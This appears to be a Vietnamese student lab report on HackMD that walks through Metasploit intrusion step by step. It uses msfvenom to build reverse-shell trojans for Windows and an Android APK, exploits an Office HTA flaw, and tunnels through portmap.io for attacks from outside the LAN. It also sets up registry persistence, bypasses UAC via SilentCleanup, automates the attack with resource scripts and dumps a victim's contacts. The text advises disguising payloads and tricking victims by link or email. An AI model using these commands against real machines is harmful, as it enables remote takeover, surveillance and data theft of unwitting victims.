---
# System prepended metadata

title: Báo cáo lần 2 (5/12/2023)

---

{%hackmd @themes/orangeheart %}

# 1. Xâm nhập hệ thống và leo thang đặc quyền, crack password, dump memory, sniff winlogon, stop antivisrus
## 
### Exploit máy tính thuộc cùng địa chỉ mạng (máy victim chung một mạng LAN với máy attacker)
 -- Kali Linux: 172.16.1.107
 -- Windows 10: 172.16.1.102
- Tạo mã độc:
> msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=[ip] lport=[cổng] -o [tên_file].exe

"với các tham số –platform nền tảng windows, -a hạ tầng áp dụng là 32 bit hay 64 bit, -f định dạng file xuất ra là exe, -p dùng loại payload nào, lhost là địa chỉ IP của máy mình, lport là cổng mở trên máy mình, -o là vị trí lưu kèm đặt tên file xuất ra. Ngoài ra còn có các tham số như -e lựa chọn kiểu mã hoá, -i là số lần mã hoá payload, -s là kích thước file xuất ra (nặng nặng xíu cho victim khỏi nghi ngờ, vì bình thường file payload xuất ra chỉ cỡ vài chục hay vài trăm kB). Để biết chi tiết hơn các option, gõ msfvenom -h"

-- Chúng ta có thể đóng gói mã độc cùng với một file đáng tin cậy để đánh lừa victim (...)

- Sử dụng farmwork Metasploit để tạo một kết nối để lắng nghe thông tin 

 -- Khởi động metasploit
>msfconsole 

  -- Sử dụng module handler cho việc thiết lặp kết nối
>use exploit/multi/handler

  -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Hacker, ở đây tôi dùng tcp
>set payload windows/meterpreter/reverse_tcp

  --  Set lhost [ip], set lport [cổng] cho khớp với các tham số khi tạo trojan ban nãy
  
![image](https://hackmd.io/_uploads/HJ_6i3_BT.png)

  -- Gõ exploit để hóng kết nối về. Khi nạn nhân kích hoạt file payload của bạn và ko gặp trở ngại gì trên đường truyền, bạn sẽ nhận được thông báo “meterpreter session 1 opened”.
Đôi khi bạn phải gõ thêm sessions -i [mã_phiên] để phiên làm việc meterpreter mở ra (lưu ý tuỳ vào mã số session trên thông báo mà nhập số đó cho option -i cho đúng)

### Exploit lỗ hổng HTA trong Microsoft Office thông qua một file văn bản độc hại (máy victim chung một mạng LAN với máy attacker)

 -- Kali Linux: 192.168.233.134.
 -- Windows server 2019: 192.168.233.135.
 
 -- Đầu tiên tôi sử dụng Metasploit để tìm kiếm các lỗ hổng có liên quan đến Word và tạo payload.

![image](https://hackmd.io/_uploads/S1Jy_E5BT.png)

 -- Tiếp theo tôi sử dụng module trong các đường dẫn được liệt kê.
 
![image](https://hackmd.io/_uploads/rkqL_NcBa.png)

 -- Tiếp theo tôi sử dụng options để xem các thông số như lhost, lport đã đúng với máy của tôi hay chưa, nếu đúng thì giữ nguyên.
 
![image](https://hackmd.io/_uploads/BkU6dEcrp.png)

 -- Tiếp theo chúng ta sẽ exploit và sau đó chờ nạn nhân sử dụng file văn bản độc hại mà chúng ta đã tạo trước đó.
 
![image](https://hackmd.io/_uploads/Bye7YV5r6.png)

 -- Lúc này bên máy nạn nhân chúng ta sẽ mở file văn bản đó lên.

![image](https://hackmd.io/_uploads/ryA8FEcra.png)

 -- Sau đó tôi sử dụng lệnh **sessions** để kiểm tra kết nối được trả về và truy cập vào nó.
 
![image](https://hackmd.io/_uploads/ryhE54qB6.png)

 -- Bây giờ chúng ta đã xâm nhập vào hệ thống thành công, chỉ việc leak các thông tin cần thiết ra để chuẩn bị cho những cuộc tấn công tiếp theo mà thôi.

![image](https://hackmd.io/_uploads/By4tcNqHp.png)


### Exploit CVE 2021-1675













### Exploit máy tính khác địa chỉ mạng (tấn công ngoài mạng)

- Sử dụng dịch vụ VPN (Virtual Private Network – mạng riêng ảo) ko giới hạn thời gian, chỉ giới hạn một quy tắc kết nối. VPN cho phép bạn thiết lập một kết nối riêng tư (gọi là tunnel – đường hầm) với máy chủ VPN mà ko cần bận tâm ở giữa là gì. Giới thiệu với các bạn trang portmap.io.

  -- Các bước tham khảo(...Nguồn Internet...)
  Các bạn làm theo các bước như sau:
Sau khi đăng ký tài khoản, bạn vào Configurations (1) rồi chọn Create new (2).
![screenshot11](https://hackmd.io/_uploads/rkhz-6dBT.jpg)

Đặt tên (3), chọn phuơng thức kết nối (4) bằng OpenVPN hay bằng SSH, giao thức (5) (nên chọn UDP), sau đó nhấn vào Generate (6), nút Generate sẽ mất đi và thay bằng Download (7), nhớ download về trước khi đồng ý Create (8). Câu lệnh trong khung vuông bên phải chính là lệnh để nạp file cấu hình vừa tải về cho OpenVPN, lát nữa chúng ta sẽ dùng.
![screenshot21](https://hackmd.io/_uploads/ryfE-TdST.jpg)

Sau khi tạo xong Configuration thì chuyển qua thiết lập quy tắc kết nối Mapping Rules (9) rồi chọn Create new (10).
![screenshot31](https://hackmd.io/_uploads/S1UHbTdST.jpg)

Tại đây, bạn chọn giao thức (11) là TCP (chỗ này nên chọn TCP), chọn cổng trên máy của bạn mà máy chủ VPN sẽ giao tiếp tới (12), rồi Create (13) là xong.
![screenshot41](https://hackmd.io/_uploads/S19ubTdSa.jpg)


Cấu hình xong bạn sẽ có được kết quả như thế này. Hãy ghi lại thông tin mà mình đóng khung. Trong đó “TVH95-57592.portmap.io” là tên miền của máy chủ VPN, “57592” là port mà máy chủ hứng kết nối. Đây là 2 thông tin quan trọng mà chúng ta sẽ sử dụng để tạo file payload.
![rkfIZa_Sp](https://hackmd.io/_uploads/Bk4FZ6dSa.jpg)

-- Bây giờ chúng ta bắt đầu thực hiện tấn công:
Đầu tiên, chạy OpenVPN với file cấu hình vừa tải về để thực hiện kết nối với máy chủ VPN.
> sudo openvpn --config xxx.ovpn

- Tạo mã độc tương tự như cùng mạng LAN nhưng ở đây cần chú ý 
lhost và lport 

![image](https://hackmd.io/_uploads/Sk2GBaOr6.png)

- Các bước vẫn tương tự như trên nhưng cần lưu ý sau khi lựa chọn các thức truyền gói tin set payload chúng ta set lhost theo ip mà máy chủ VPN cung cấp, lport ứng với port ta tạo mã 

![image](https://hackmd.io/_uploads/B1c78adHa.png)

# 2. Thiết lập persistence để cài vĩnh viễn và tự động kích hoạt trên máy victim

-- Nếu để bình thường, bạn chỉ thâm nhập vào máy nạn nhân khi nạn nhân mở file trojan đó và mất kết nối khi bạn thoát khỏi phiên làm việc meterpreter hoặc nạn nhân tắt máy. Dù bạn có gõ lại lệnh exploit lần nữa hoặc nạn nhân khởi động lại máy, thì bạn ko thể điều khiển lại máy nạn nhân được nữa, trừ phi file mã độc kia được nạn nhân ngu ngơ mở lại lần nữa. Vì thế để payload liên tục gửi tín hiệu và attacker hứng kết nối lúc nào cũng đc, bạn cần chạy persistance. Sau khi thâm nhập thành công và hiện dấu nhắc “meterpreter >”, hãy gõ lệnh sau:
>run persistence -S -i 60 -p [cổng] -r [ip]

-- Khi đó payload sẽ tạo ra file .vbs mặc định được lưu vào trong đường dẫn C:\Users\tên_người_dùng\AppData\Local\Temp và chèn thuộc tính autorun vào registry HKCU(hay HKLM)\Software\Microsoft\Windows\CurrentVersion\Run\ . Các tham số như: -i (cách bao nhiêu giây thì phát tín hiệu một lần), -A (tự động kết nối với use multi/handler), -L đường_dẫn (nơi lưu file vbs, nếu ko muốn lưu theo đường dẫn mặc định kia), -P (loại payload được dùng, mặc định là windows/meterpreter/reverse_tcp), -S (tự động chạy khi máy khởi động và chạy như một service), -U (tự động chạy với tài khoản người dùng), -X (tự động chạy với mọi tài khoản), -h (mở help xem hướng dẫn).

>https://github.com/elliSzAt/persistance.git

 -- Download file này để tích hợp vào **persistance** và thử lại nếu cách trên sử dụng không được
 
 
# 3. Leo thang đặc quyền và khai thác thông tin trên máy victim
 - Sau khi tùy chỉnh thông số chúng tôi sẽ khởi động để lắng nghe các kết nối gửi về từ malware
> exploit
 - ![image](https://hackmd.io/_uploads/Hk4kNttr6.png)
 - Chúng ta sẽ chờ cho đến khi có nạn nhân truy cập vào link có malware
 - ![image](https://hackmd.io/_uploads/S1OKXFKr6.png)
 - Khi máy nạn nhân chạy file thì chúng tôi sẽ bắt được kết nối gửi về máy attacker
 - ![image](https://hackmd.io/_uploads/S1cP7YFr6.png)
 - Tiếp đó chúng tôi sẽ xem các thông tin về máy nạn nhân
> sysinfo
 - ![image](https://hackmd.io/_uploads/rkXpVtYHp.png)
 - Chúng tôi sẽ get uid để biết ta đang có phiên với user nào
> getuid
 - ![image](https://hackmd.io/_uploads/BJPXHFtST.png)
 - Den day toi co the screenshot duoc may cua nan nhan
 - ![image](https://hackmd.io/_uploads/rkgrX5tHa.png)
 - ![image](https://hackmd.io/_uploads/HyW_X5KBa.png)
 - Chúng tôi có thể send file từ máy attacker đến máy nạn nhân và run file qua 
> shell
 - ![image](https://hackmd.io/_uploads/ByrFt9KH6.png)
 - ![image](https://hackmd.io/_uploads/r1M0F9trp.png)

 - Bây giờ tôi sẽ tiến hành leo lên quyền cao hơn, bước đầu tiên là chúng tôi sử dụng lệnh sau để chạy phiên dưới nền, mục đích là thoát khỏi phiên để dùng các module khác
 - ![image](https://hackmd.io/_uploads/Syk0iFKB6.png)
 - Tôi tìm kiếm thông tin liên quan đến User Account Control là một tính năng bảo mật của Windows giúp ngăn chặn các thay đổi trái phép đối với hệ điều hành. Vì là một tính năng bảo mật nên nó có quyền cao nhất trên hệ điều hành windows, đây chính là mục tiêu khai khác của chúng tôi
> search uac
 - ![image](https://hackmd.io/_uploads/SkBK2KKS6.png)
 - Ở đây chúng quan tâm đến lỗ hổng số 12 để leo thang đặc quyền
 - Đó là một một nhiệm vụ trong Windows Task Scheduler được gọi là "SilentCleanup", trong khi nó được thực thi với tư cách Người dùng, sẽ tự động chạy với các đặc quyền nâng cao.
- ![image](https://hackmd.io/_uploads/SJc42FtHp.png)
- Để có thể leo thang đặc quyền thì ta cần một phiên đã mở ở phần backdoor

> use exploit/windows/local/bypassuac_silentcleanup
 - Giờ đến phần cách thức truyền gói tin về C&C, ở đây tôi chọn giao thức khác với giao thức truyền gói của malware(``tcp``) là ``https``
> set payload windows/x64/meterpreter/reverse_https
 - ![image](https://hackmd.io/_uploads/r1A5ocKra.png)
 - ![image](https://hackmd.io/_uploads/rkBPT9tBp.png)
 - Chúng tôi run ``sesion 2`` và lấy được quyền admin
> set session 2
> run
> getsystem -h
 - ![image](https://hackmd.io/_uploads/SJc2-stHT.png)
 - ![image](https://hackmd.io/_uploads/SkYO-sFH6.png)

# 4. Sử dụng AutoScript để exploit

 -- Do trong quá trình thực hiện exploit khá lâu và cả quá trình thực hiện duy trì kết nối cũng vậy, có thể người dùng chỉ bật ứng dụng trong 1 khoảng thời gian ngắn, nếu ta không kịp thực hiện duy trì kết nối thì cũng chẳng có ích gì. Do đó tôi muốn các quá trình trên đều được tự động để không gây mất thời gian.

 -- Đầu tiền tôi tạo 2 file là **exploit.txt** và **command.rc** với script như sau:
 
![image](https://hackmd.io/_uploads/ry0eXVoBT.png)

![image](https://hackmd.io/_uploads/r1JQXNoH6.png)

 -- Sau khi tạo xong 2 file trên thì tôi chỉ việc tiến hành exploit với câu lệnh.

> sudo msfconsole -r exploit.txt

![image](https://hackmd.io/_uploads/HJ6qmEsBT.png)

 -- Sau khi câu lệnh được thực thi thì ta đã exploit được hệ thống đồng thời cũng duy trì được kết nối mà tiết kiệm được rất nhiều thời gian.
 
# 5. Tấn công khai thác thông tin thiết bị Android

## Kịch bản Lab
> Bài Lab này nói về sau khi hacker tấn công gain access, lấy được quyền thực thi trên máy Android giả lập, cho phép hacker có quyền truy cập vào nó thông qua kết nối máy tính từ xa. Attacker có khả năng thu thập tin nhắn văn bản, danh sách liên lạc, vị trí và thậm chí bật webcam của mục tiêu!
### Kịch bản tấn công
##### Step 1: Attacker tạo mã độc với C&C là máy hacker
##### Step 2: Attacker tạo một phiên để lắng nghe kết nối từ máy nạn nhân bị nhiễm mã độc
##### Step 3: Attacker phát tán mã độc qua một đường link hoặc qua email, lừa nạn nhân cài đặt
##### Step 4: Attacker bắt được phiên của một máy nạn nhân nào đó
##### Step 5: Attacker tiến hành các kiểu tấn công khác để lấy những thông tin của nạn nhân

### Môi trường của Lab

Kali linux
Máy Android Giả lập [LDPlayer](https://www.ldplayer.net)

### Tìm kiếm cách thức tấn công
 -- Đầu tiên chúng tôi sẽ vào ``root@kali`` và bật công cụ ``Metasploit framework``
 -- Sử dụng lệnh để tìm các phương pháp tấn công đến máy nạn nhân
> msf6 > search type:exploit platform:android
 
 ![image](https://hackmd.io/_uploads/SylK8djHp.png)
 -- Như bạn có thể thấy, có ít nhất 11 lần khai thác cho các hệ điều hành Android trong Metasploit.
 -- Chúng tôi sẽ tìm cách thức truyền gói tin
> msf6 > search type:payload platform:android
 
 ![image](https://hackmd.io/_uploads/rJcT8diS6.png)
 -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Attacker, ở đây chúng tôi dùng tcp
 
 ![image](https://hackmd.io/_uploads/BkqvQqsBa.png)

### Xây dựng tệp APK
 -- Chúng tối sử dụng msfvenom tạo malware 
> msf6 > msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.58.131 LPORT=4953 R > Go88.apk
 
 ![image](https://hackmd.io/_uploads/B17R_dsB6.png)
 -- Tiếp đó chúng tôi sẽ tạo một thư mục Go88.com và copy file mã độc vào đó để lây nhiễm cho máy nạn nhân.
 
 ![image](https://hackmd.io/_uploads/ByKqlcorp.png)
 
 -- Sau đó tôi cấp quyền cho thư mục để nạn nhân có thể truy cập và tải file mã độc
 -- Trách các lỗi về phân quyền xảy ra tôi sẽ chuyển sở hữu thư mục cho user và group www-data
 
 ![image](https://hackmd.io/_uploads/HJZ-29sra.png)

 -- Khởi Động apache2
> sudo systemctl start apache2
### Tạo kết nối và tấn công
 -- Bây giờ ta sẽ tạo một kết nối để lắng nghe thông tin từ mã độc trên máy nạn nhân gửi về bằng cách khởi động metasploit
> msfconsole

 -- Chúng tôi sử dụng module handler cho việc thiết lặp kết nối
> use exploit/multi/handler

 -- Nhập ``options`` để xem các tùy chọn
 
 ![image](https://hackmd.io/_uploads/ryw1N9sB6.png)

 -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Attacker, ở đây chúng tôi dùng tcp
> msf6 > set PAYLOAD android/meterpreter/reverse_tcp

  ![image](https://hackmd.io/_uploads/H15f4qsST.png)
 -- Sau đó chúng tôi thiêt lập các thông số sau
> set lhost 192.168.58.131
> set lport 4953

trong đó ``lhost, lport`` lần lượt là ip và cổng máy attacker
 
 ![image](https://hackmd.io/_uploads/BkiJS9oHp.png)
### Khởi động kêt nối
 
 -- Sau khi tùy chỉnh thông số chúng tôi sẽ khởi động để lắng nghe các kết nối gửi về từ malware
> exploit

![image](https://hackmd.io/_uploads/H1yPIciST.png)
 -- Mở phiên để lắng nghe các kết nối từ malware
 -- Bây giờ ta sẽ chờ đến khi có nạn nhân
 
 ![image](https://hackmd.io/_uploads/BJSsI5iST.png)
 -- Có nạn nhân chạy thì chúng tôi sẽ bắt được kết nối gửi về
 
 ![image](https://hackmd.io/_uploads/HkIaUcjBa.png)
 ![image](https://hackmd.io/_uploads/ry2ZD9jrp.png)
### Khai thác thông tin nạn nhân
 -- Chúng tôi kiểm tra thông tin về máy nạn nhân và local time
 
 ![image](https://hackmd.io/_uploads/r15nYcoBa.png)

 -- Chúng tôi sẽ lấy danh sách liên lạc của họ
> dump_contacts
 
  ![image](https://hackmd.io/_uploads/S1fN_9jr6.png)
  ![image](https://hackmd.io/_uploads/Hy4Pu9jr6.png)
  
 --  Và chúng tôi có thể sử dụng ``help`` để leak ra những command để khai thác thông tin từ máy nạn nhân
```t=
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    transport     Manage the transport mechanisms
    use           Deprecated alias for "load"
    uuid          Get the UUID for the current session
    write         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lmkdir        Create new directory on local machine
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    m


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Android Commands
================

    Command       Description
    -------       -----------
    activity_sta  Start an Android activity from a Uri string
    rt
    check_root    Check if device is rooted
    dump_calllog  Get call log
    dump_contact  Get contacts list
    s
    dump_sms      Get sms messages
    geolocate     Get current lat-long using geolocation
    hide_app_ico  Hide the app icon from the launcher
    n
    interval_col  Manage interval collection capabilities
    lect
    send_sms      Sends SMS from target session
    set_audio_mo  Set Ringer Mode
    de
    sqlite_query  Query a SQLite database from storage
    wakelock      Enable/Disable Wakelock
    wlan_geoloca  Get current lat-long using WLAN information
    te


Application Controller Commands
===============================

    Command       Description
    -------       -----------
    app_install   Request to install apk file
    app_list      List installed apps in the device
    app_run       Start Main Activty for package name
    app_uninstal  Request to uninstall application
    l

```
 -- ``Cảm ơn các bạn đã theo dõi``
 Thank you & see you again 